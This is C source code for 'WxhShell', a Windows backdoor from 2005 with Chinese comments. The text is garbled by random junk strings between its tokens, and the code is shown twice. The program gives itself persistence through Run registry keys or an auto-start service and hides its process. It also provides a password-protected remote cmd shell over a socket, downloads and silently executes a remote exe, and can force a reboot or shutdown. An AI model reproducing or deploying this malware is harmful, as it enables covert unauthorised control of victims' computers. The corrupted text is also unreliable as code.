"GetModuleBaseNameA"); mpBSd+;Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `2y2Bk brGUK PB if (!NtQueryInformationProcess) return 0; ([='LyH];z jd|? aK;( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yqy7__vm if(!hProcess) return 0; 2Ke?* u|.L73<j% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wPYz&&W t%wC~1 CloseHandle(hProcess); HgP9evz,0 oq4*m[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vcnUb$% if(hProcess==NULL) return 0; k1HukGa t/\J HMODULE hMod; ++Qg5FukR char procName[255]; Cyg\FHs unsigned long cbNeeded; WUSkN;idVG hTZaI * if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pDO&I]S`q0 (5] |Kcp| CloseHandle(hProcess); jemg#GB8 q"@Y2lhD! if(strstr(procName,"services")) return 1; // 以服务启动 #`rvL6W q} EM+#h'%- return 0; // 注册表启动 C d)j% } 7yLO<o?9w j_VTa/ // 主模块 xJ)hGPrAl int StartWxhshell(LPSTR lpCmdLine) y|1,h}H^n { -ckk2D? SOCKET wsl; ][1*.7- BOOL val=TRUE; SyFOf int port=0; g<VJ4TE6R struct sockaddr_in door; 4hep1Kz% E`3yf9" if(wscfg.ws_autoins) Install(); UGK4uK+I` <taN3 port=atoi(lpCmdLine); j'#M'W3@ FOxMt;|M if(port<=0) port=wscfg.ws_port; |'xVU8 gf()NfUvRH WSADATA data; M/XxiF if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !j,LS$tPu #;?j]npg] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YoV^Y&:9< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y~CK&[H door.sin_family = AF_INET; B>}=x4-8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); :gMcl"t-- door.sin_port = htons(port); Mvq5s +. M}E0Msq_o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A`x_M!m closesocket(wsl); SR@yG:~ return 1; 8y5iT?.~vy } 3VZeUOxY\W s*.CJ if(listen(wsl,2) == INVALID_SOCKET) { XS5*=hv: closesocket(wsl); G:NI+E"] return 1; bLyU; } e)kN%JqW Wxhshell(wsl); ]5X=u(} WSACleanup(); #;59THdtPk <QoSq'g#,= return 0; #gzY _)E [;3` Aw } jdsN ZV AV\6K;~ // 以NT服务方式启动 ^sR]w]cz. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nf(Np1?;c { !iBe/yb DWORD status = 0; Sq"O<FmI DWORD specificError = 0xfffffff; *5'U3py cs[_5r&: serviceStatus.dwServiceType = SERVICE_WIN32; ,2\?kPoc8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; {//;GC* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x9Veg4Z7 serviceStatus.dwWin32ExitCode = 0; /g}2QmvH serviceStatus.dwServiceSpecificExitCode = 0;
f$Fa*O- serviceStatus.dwCheckPoint = 0; cn1UFmT serviceStatus.dwWaitHint = 0; \~|+*^e) qP6Yn JWl hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q 65mR!) if (hServiceStatusHandle==0) return; "L'0" ,f
..46G status = GetLastError(); /,v>w, if (status!=NO_ERROR) wg<UCmfu! { dc[w` serviceStatus.dwCurrentState = SERVICE_STOPPED; (\^| @ serviceStatus.dwCheckPoint = 0; H4[];&]xr serviceStatus.dwWaitHint = 0; DK8eFyG^2 serviceStatus.dwWin32ExitCode = status; AnK-\4 serviceStatus.dwServiceSpecificExitCode = specificError; 5g9lO]WDI SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4FK|y&p4r return; $89hkUuTu^ } Ig9yd S-. ]B'Ac%Rx serviceStatus.dwCurrentState = SERVICE_RUNNING; 88\0opL- serviceStatus.dwCheckPoint = 0; !QK~l serviceStatus.dwWaitHint = 0; *7.EL`8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6% +s` } `NIc*B4q. gd~# uR\ // 处理NT服务事件,比如:启动、停止 zrD];DP VOID WINAPI NTServiceHandler(DWORD fdwControl) &?\'Z~B4 { ^MJT lRUb switch(fdwControl) ATq)8Rm\ { TEC'}%
case SERVICE_CONTROL_STOP: jx _n$D serviceStatus.dwWin32ExitCode = 0; M>H4bU( serviceStatus.dwCurrentState = SERVICE_STOPPED; 7O6VnKl serviceStatus.dwCheckPoint = 0; Z|&Y1k-h serviceStatus.dwWaitHint = 0; t[Dg)adc { ,VK! 3$;| SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ul@Jg
} `uRf*- return; '_)NI case SERVICE_CONTROL_PAUSE: a xT- serviceStatus.dwCurrentState = SERVICE_PAUSED; r,^}/<* break; H]v"_!(\ case SERVICE_CONTROL_CONTINUE: (ATvH_Z serviceStatus.dwCurrentState = SERVICE_RUNNING; Y@WCp break; ?U~}uG^ case SERVICE_CONTROL_INTERROGATE: q}Wd`>VDR break; QIl![% }; VT.BHZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~I^}'^Dbb } 1eG@?~G 4
qdLH^dX // 标准应用程序主函数 {4u8~whLp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d0(GE4+/ { BPAz.K Q ofeSGx // 获取操作系统版本 iO^z7Y7 OsIsNt=GetOsVer(); &%YFO'>>} GetModuleFileName(NULL,ExeFile,MAX_PATH); @bu5{b+8 yxfV|ox // 从命令行安装 -
zaqL\ if(strpbrk(lpCmdLine,"iI")) Install(); .;6G?8` Op] L#<&T // 下载执行文件 wm@/>X if(wscfg.ws_downexe) { wFr}]<=Mi if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,>-Q# WinExec(wscfg.ws_filenam,SW_HIDE); Zkn$D: } iy&*5U :/e=J if(!OsIsNt) { v` 9^?Xw) // 如果时win9x,隐藏进程并且设置为注册表启动 J)6A,:wt HideProc(); "m^whHj StartWxhshell(lpCmdLine); [kc%+j<g } J7.}2 else *h ~Y=#`8* if(StartFromService()) VKa- // 以服务方式启动 ,,+ ~./) StartServiceCtrlDispatcher(DispatchTable); .\*3t/R=X else )IIQ{SwQq // 普通方式启动 ~i)O^CKq StartWxhshell(lpCmdLine); m#[tY>Q[b ;1Kxqpz_i return 0; IT \Pj_ } oYWcX9R $#V^CmW. k^A Yg!~ cE
x$cZRMI =========================================== !ra CpL9; mPHn &4 %y
zFWDg C#]% ;0}8vs *,9.Bx* " 2i);2>HLG phIEz3Fu/ #include <stdio.h> m.~&n!1W*` #include <string.h> >m!l5/ #include <windows.h> 8.ek_r #include <winsock2.h> "P:kZ=M
Q #include <winsvc.h> s^_E'j$ #include <urlmon.h> }`/wj )N
QtjB$ #pragma comment (lib, "Ws2_32.lib") [,_M@g3 #pragma comment (lib, "urlmon.lib") :j/PtNT@ C7=Q!UK`\ #define MAX_USER 100 // 最大客户端连接数 M4a-+T" #define BUF_SOCK 200 // sock buffer ,j~R ^j #define KEY_BUFF 255 // 输入 buffer
b@J&jE~d rQNT #define REBOOT 0 // 重启 m,nV,}@J #define SHUTDOWN 1 // 关机 Fj c+{;x \6B,\l]$t@ #define DEF_PORT 5000 // 监听端口 e=t?mDh#E C~M~2@Iori #define REG_LEN 16 // 注册表键长度 AR\?bB~`c #define SVC_LEN 80 // NT服务名长度 LX<c(i g{8R+ // 从dll定义API XezO_V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `~( P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kmM4KP#&| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4%WV)lt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G+=6]0HT ]rM{\En // wxhshell配置信息 nLq7J: struct WSCFG { ?V_Qa0k int ws_port; // 监听端口 "m]"%MU78 char ws_passstr[REG_LEN]; // 口令 WG
9f>kE int ws_autoins; // 安装标记, 1=yes 0=no WNTm char ws_regname[REG_LEN]; // 注册表键名 l79jd%/m char ws_svcname[REG_LEN]; // 服务名 q>&F%;q1] char ws_svcdisp[SVC_LEN]; // 服务显示名 ?r@euZ& char ws_svcdesc[SVC_LEN]; // 服务描述信息 ypXKw7f( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )>,b>7 int ws_downexe; // 下载执行标记, 1=yes 0=no 4ei
.- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]>@;
2%YvY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l;>#O V"VWHAu*.w }; 3OHP-oa. 9frx 60 // default Wxhshell configuration r
@~T}<I struct WSCFG wscfg={DEF_PORT, -"5x? \.{m "xuhuanlingzhe", o}5:vi] 1, Yfy6o6*: "Wxhshell", a34'[R "Wxhshell",
1W;3pN "WxhShell Service", 3m4?l
~ "Wrsky Windows CmdShell Service", K@VXFV "Please Input Your Password: ", -5\aL"?4 1, xiU-}H'o "http://www.wrsky.com/wxhshell.exe", a<Pi J? "Wxhshell.exe" 9#%(%s2+ }; ~%^af"_ O#A1)~ // 消息定义模块 S6H=(l58 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Gl&K|/{j char *msg_ws_prompt="\n\r? for help\n\r#>"; :5?ti char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tBG :ECUL char *msg_ws_ext="\n\rExit."; R_*b<~[/ char *msg_ws_end="\n\rQuit."; 49
3ik char *msg_ws_boot="\n\rReboot..."; u0$7k9mE char *msg_ws_poff="\n\rShutdown..."; sXTt)J char *msg_ws_down="\n\rSave to "; HH6b{f@^ }eb%"ZH4| char *msg_ws_err="\n\rErr!"; n:he`7.6O char *msg_ws_ok="\n\rOK!"; tH:ea$A #s1M>M) char ExeFile[MAX_PATH]; ;JFE7\-mC int nUser = 0; oO @6c % HANDLE handles[MAX_USER]; 'KQ]7 int OsIsNt; W<2%J)N< uYL6g:]+ZC SERVICE_STATUS serviceStatus; )F? 57eh SERVICE_STATUS_HANDLE hServiceStatusHandle; P0Na<)\'Y! !N,Z3p>Q // 函数声明 5 LX3. int Install(void); z$G?J+?J int Uninstall(void); p%IR4f int DownloadFile(char *sURL, SOCKET wsh); >^:g[6Sj int Boot(int flag); nAF@47Wo void HideProc(void); v\-"NHl int GetOsVer(void); 0P/A int Wxhshell(SOCKET wsl); O(
he void TalkWithClient(void *cs); OJ UM Y<5 int CmdShell(SOCKET sock); =&"Vf!7YR7 int StartFromService(void); D0i84I`Z% int StartWxhshell(LPSTR lpCmdLine); bS/` G0! g8XGZW! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C4Z~9fzT VOID WINAPI NTServiceHandler( DWORD fdwControl ); T<54qe4`p a\}|ikiE // 数据结构和表定义 e%bERds SERVICE_TABLE_ENTRY DispatchTable[] = CR934TE+ { (%#d._j>fZ {wscfg.ws_svcname, NTServiceMain}, o9wg<LP {NULL, NULL} RW(AjDM }; RU"w|Qu>pM d@At-Z~M // 自我安装 Pms3X int Install(void) xOT'4v&. { xxkP4,(p char svExeFile[MAX_PATH]; *`}_e)(k HKEY key; CI{]o&Tf strcpy(svExeFile,ExeFile); MVt#n\_BZV 0*3 <} // 如果是win9x系统,修改注册表设为自启动 JF{,;&sj if(!OsIsNt) { A ws#>l< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9^a>U(, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k|A!5A2 RegCloseKey(key); ]Vb#(2<2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =V5.c+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .yTk/x? RegCloseKey(key); sF+0v p
return 0; Nr`nL_DQ } lR.a3.~ } {+xUAmd } $elrX-(vL else { 1xguG7 eaX`S.!jR // 如果是NT以上系统,安装为系统服务 TdKl`"Iy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h*MR5qa if (schSCManager!=0) "[[fQpe4@ { e982IP SC_HANDLE schService = CreateService nrt0[E-&~ ( l42m81x" schSCManager, yFpHRfF} wscfg.ws_svcname, w|L~+
wscfg.ws_svcdisp, !'{j"tv SERVICE_ALL_ACCESS, 5?O/Aub SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q`vyDoF SERVICE_AUTO_START, {t=Nnc15K SERVICE_ERROR_NORMAL, keJec`q=X svExeFile, s`#hk^{ NULL, :/~vaCZ NULL, $--PA$H27 NULL, 21o_9=[^ NULL, E*w 2yWR NULL /t>o
- ); EPa3Yb?BGb if (schService!=0) |nicvg@ { (VO Ka CloseServiceHandle(schService); mlVv3mVyR< CloseServiceHandle(schSCManager); 8fe"#^"s R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g u|;C strcat(svExeFile,wscfg.ws_svcname); }MIH{CMH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6\TstY3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :.35pp,0 RegCloseKey(key); ("lcL2Bq return 0; Vbj?:29A } PzV(e)~7 } ?ft_ CloseServiceHandle(schSCManager); ~zm/n,Epb } hf?^#=k^ } )K?GAj]Pq `PW=_f={ return 1; he+[ }
9Np0<e3p |wLQ)y* // 自我卸载 cbwzT0 int Uninstall(void) *$cp" { :jUuw:\ HKEY key; YAPD7hA /GXO2zO if(!OsIsNt) { 9{TOFjsF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ReE3742@ RegDeleteValue(key,wscfg.ws_regname); 3?%kawO& RegCloseKey(key); <>e<Xd:77{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W@ Z=1y RegDeleteValue(key,wscfg.ws_regname); X*JD RegCloseKey(key); Hug{9Hr3. return 0; 7S1!|*/
I } kyjH~mK4 } yBe/UFp+ } _bd#C else { PR'FSTg ]bR'J\Fwl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :5*<QJuI#A if (schSCManager!=0) 6=g7|} { vJCL
m/}* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }fCM_w if (schService!=0) K%gFD?{^q { b>7ts_b if(DeleteService(schService)!=0) { P\AH9#XL CloseServiceHandle(schService); @\h(s#sn CloseServiceHandle(schSCManager); Ue8D:CM return 0; E^YbyJ=1 } z8!u6odu % CloseServiceHandle(schService); _@p|A } '" tieew CloseServiceHandle(schSCManager); d+;wDu } {+[gf:Ev } qN QsU [T%blaSX return 1; \'EWur" } !K 9(OX2; EK#m?O:> // 从指定url下载文件 kC
k- int DownloadFile(char *sURL, SOCKET wsh) Y{yr-E #~M { 2G-?
P"4l@ HRESULT hr; 1CM1u+<iZ
char seps[]= "/"; *nc4X9 char *token; [>:gwl
_\ char *file; 8$vH&HdI char myURL[MAX_PATH]; C5M-MZaS char myFILE[MAX_PATH]; H<xC%/8 -,;Ep' strcpy(myURL,sURL); OL'=a|g|c token=strtok(myURL,seps); %PS-nF7v while(token!=NULL) PGKXzp' { 1A)~Y file=token; GVM#Xl}w9 token=strtok(NULL,seps); 5ZcnZlOOQ } 3k<#;( [GP(r GetCurrentDirectory(MAX_PATH,myFILE); [o.zar82 strcat(myFILE, "\\"); C|I
1 m strcat(myFILE, file); AWDjj\Q4 send(wsh,myFILE,strlen(myFILE),0); >gZz`CH send(wsh,"...",3,0); vf= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U %ESuq# if(hr==S_OK) cP1jw%3P return 0; k:TfE6JZ else SRTpE, return 1; 8Vn6* Xn }$)<k } *Vl
=PNn- jvV8`BQ{ // 系统电源模块 vO_quQ[ . int Boot(int flag) c7F&~RLC { X
w8il HANDLE hToken; H5s85"U# TOKEN_PRIVILEGES tkp; 8j'*IRj*q F^YIZ,=p! if(OsIsNt) { /pU6trIM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *r`Yz} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kpH;D=; tkp.PrivilegeCount = 1; MuobMD}jqe tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R`Lm"5w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p*0Ve21i, if(flag==REBOOT) { #CPP dU$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;}~=W!yz return 0; )sf~l6 } 'y?|shV{] else { Uot-@|l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nd_@J& return 0; F[EblJ } Q:gn>/ } }$U[5wL,_ else { 'j_H{kQy if(flag==REBOOT) { >bN~p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <L~xR5 return 0; sAoM=n}! } DANSexW else { GC[{=]}9U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .$0Ob<. return 0; m0Syxb } ~TH5>``;gF } Fnpn_O XlH pV6HQ:y1 return 1; 9|?Lz } ~(j'a!#Vvk xLI{=sL // win9x进程隐藏模块 U
0RfovJ void HideProc(void) HF: T]n, { (nD$%/uK' yXA f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &fW=5' if ( hKernel != NULL ) kI3zYD^: { ig}e@] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A+*oT(` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E`fssd~ FreeLibrary(hKernel); r0deBRM } aT!9W'uY 50ew/fZj| return; aNC,ccm } :bRR(sP Kk>qgi$ // 获取操作系统版本 5\0.[W{^ int GetOsVer(void) 3DAGW"F { 6KCmswvE OSVERSIONINFO winfo; `Kw"XGT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (?BgT i\ GetVersionEx(&winfo); p@Y$e Z:O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &}0wzcMg return 1; TucAs0-bF else 8Wx@[! return 0; P"h\7V,d% } .'b3iG& KVM@//:{ // 客户端句柄模块 O^Vy"8Ji}y int Wxhshell(SOCKET wsl) M`P]cX)x { 6
2`PK+ SOCKET wsh; 1m`tqlFU9 struct sockaddr_in client; tOg
8L2 DWORD myID; DRW.NL o sV^h#g~Zb while(nUser<MAX_USER) p/1}>F|i { pLQSG}N int nSize=sizeof(client); )L<?g!j~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z4AAg if(wsh==INVALID_SOCKET) return 1; //M4Sq( :aq> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /QXs-T}d if(handles[nUser]==0) aE\BAbD7 closesocket(wsh); ?4>y2!OC9 else LAY)">*49H nUser++; Flujwh@rg } k,R~oSA'n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z3Y)- j]B$(pt return 0; te*Y]-&I|/ } <,pLW~2-" C6'*/wq // 关闭 socket 8gtCY~m void CloseIt(SOCKET wsh) 6eUiI@J { kE_@5t7O{
closesocket(wsh); HS`bto0* nUser--; i9\\evJs ExitThread(0); 12d}#G<q- } %wjB)Mae :uwRuPI // 客户端请求句柄 mrhp)yF void TalkWithClient(void *cs) @oz& { 22/?JWL> ;WS7. SOCKET wsh=(SOCKET)cs; QR5,_wJ& char pwd[SVC_LEN]; (: TGe v char cmd[KEY_BUFF]; sMfFm@\ N char chr[1]; K"k"ml<4E int i,j; ]PzTl {] y/}VtD while (nUser < MAX_USER) { c_z/At;4 L_gsG|xX if(wscfg.ws_passstr) { Vr-3M+l=O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2rj/wakd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1&% d //ZeroMemory(pwd,KEY_BUFF); eY4`k i=0; SfZ=%6b7 while(i<SVC_LEN) { 1>@]@ST[: 38U5^` // 设置超时 2u~c/JryN fd_set FdRead; Xrj(,| struct timeval TimeOut; |.8d,!5w} FD_ZERO(&FdRead); kg?T$}O FD_SET(wsh,&FdRead); 11B{gUv.] TimeOut.tv_sec=8; Y-%l7GErhL TimeOut.tv_usec=0; mF*?e/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /h7>Z9T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y*kh$E%<# qXU:A-IdIl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pv7f
_hw pwd=chr[0]; \2R`q*a+ if(chr[0]==0xd || chr[0]==0xa) { KO-Zz&2f pwd=0; z[5Y
Z~}* break; [/AdeR } k,;lyE i++; yul<n>X| } 0r0\b*r <t[Z9s$n // 如果是非法用户,关闭 socket W>?f^C!+m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F8uRT&m B0 } [>$\s=` h aT?p> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y /X:=d6" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -t%{"y Iuu<2#gb8" while(1) { BP[CR1Gs +Mk*{A t ZeroMemory(cmd,KEY_BUFF); sd]54&3A 3^02fy // 自动支持客户端 telnet标准 FI?gT j=0; +QIGR'3u while(j<KEY_BUFF) { ;z.6'EYMG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yfM>8"h@ cmd[j]=chr[0]; `'xQ6Sy if(chr[0]==0xa || chr[0]==0xd) { B?$ 01?9V cmd[j]=0; 6z9R1&~% break; ;}n9yci# } Sl. KLc@@ j++; Hi; K"H]x1 } XlPK3^'N)h < v|%K.yd // 下载文件 u8-a-k5< if(strstr(cmd,"http://")) { MtpU~c send(wsh,msg_ws_down,strlen(msg_ws_down),0); $z2xZqe if(DownloadFile(cmd,wsh)) "ib K1}- send(wsh,msg_ws_err,strlen(msg_ws_err),0); lL:KaQ 0E else t4f
(Y,v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <CZI7]PM7 } 22)0zY%\ else { *F\T}k7 mJ0}DJiX$ switch(cmd[0]) { ZR!cQ oV= <O \tC81 // 帮助 6Gs{nFw case '?': { ]regi- LGU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DAjG*K{ break; +"k.E
x0: } v2/yw, // 安装 gHQPhe#n case 'i': { 42b. 7E if(Install()) &u+yM
D send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQ`\JE&` else DNm(:%)0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u
iBl#J Q break; |7svA<<[ } BCBEX&0hk{ // 卸载 X|X4L(i case 'r': { +dqk6RE if(Uninstall()) OZ(Dpx(Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); /C*~/} else %*$5!; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wc~3^;U break; &?SX4c~?u } J+{Ou rWt // 显示 wxhshell 所在路径 8K|J:[7 case 'p': { lbQ6
a char svExeFile[MAX_PATH]; AI&qU/} strcpy(svExeFile,"\n\r"); \bU` strcat(svExeFile,ExeFile); r0)JUc}Fyq send(wsh,svExeFile,strlen(svExeFile),0); 8 ne/=N|, break; gO+\O } ~c9>Nr9|` // 重启 j(0Ilx|7v case 'b': { cwk+#ur send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )D:9R)m if(Boot(REBOOT)) 6D/uo$1Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1)$%Jr else { Kb^>X{ closesocket(wsh); ki\B!<uv ExitThread(0); Wu4ot0SZ } 25aNC;J break; d2RnQA } 2ubmsbt$ // 关机 ?Fce!J case 'd': { RTK}mhnV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); inYM+o!Ub if(Boot(SHUTDOWN)) i][f#e4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4GP7] else { Dt
W*n1Bt closesocket(wsh); `&7mHa61 ExitThread(0); #"::
'?, } fi=0{ break; dw~[9oh } ):3MYSqX // 获取shell *~cqr case 's': { 3I|O^ CmdShell(wsh); \,2gTi,= closesocket(wsh); w "{bp ExitThread(0); &B}Lo
break; >L^xlm%7o } |z:Q(d06 // 退出 @!e~G'j%VD case 'x': { O]t\B*%} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Ys$@dB CloseIt(wsh); `AR"!X break; I6+2>CUGo }
5Q`RTn% // 离开 im8
-7Xt case 'q': { }7.#Dj/r6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0x\2#i closesocket(wsh); {|z#70 WSACleanup(); ?{eY\I exit(1); F$i$a b break; R<|ejw } R\*)@[y9l } 0E-pA3M6 } kQLT$8io [9OSpq // 提示信息 Dzr e' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !n eo\ } s
_~IZ%+<. } I FsE!oDs4
r@k"4ce- return; H8&p<= } A;,Dg=FL/ L?8^aG // shell模块句柄 j9:/RJS int CmdShell(SOCKET sock) qbb6,DL7J
{ 34z+INkX STARTUPINFO si; X]!D;7^ ZeroMemory(&si,sizeof(si)); i
E9\_MA si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m<{"}4' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /YFa
;2 W PROCESS_INFORMATION ProcessInfo; ZYa\"zp- char cmdline[]="cmd"; G=|70pxU CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :k~dj C return 0;
:=9< } tw<P)V\h 0oSQY[ht/ // 自身启动模式 p>q&&;fe int StartFromService(void) n3$gx,KL { GF'f[F6oI typedef struct ? Vp%=E { )Q]w6he3 DWORD ExitStatus; qBYg[K> DWORD PebBaseAddress; Jt]&;0zn2 DWORD AffinityMask; SNab
DWORD BasePriority; zJY']8ah ULONG UniqueProcessId; w>[T&0-N ULONG InheritedFromUniqueProcessId; >
H BJk: } PROCESS_BASIC_INFORMATION; s]Gd-j .*Vkua PROCNTQSIP NtQueryInformationProcess; B`{mdjMy DtI$9`~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `*aBRwvK~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lc]1$ 2JZdw HANDLE hProcess; fQU{SjG PROCESS_BASIC_INFORMATION pbi; tuxRVV8l NEVp8)w HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s?c JV` if(NULL == hInst ) return 0; 5/?P|T @7W?8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qSTW b% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xQU"A2{}> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3z3_7XI .'j29 6[u if (!NtQueryInformationProcess) return 0;
$:EG%jl Uw)=WImz[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CxDcY if(!hProcess) return 0; a9l8{3 8z}^jTM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GoIQ>n O~PChUU*Y CloseHandle(hProcess); 0Z
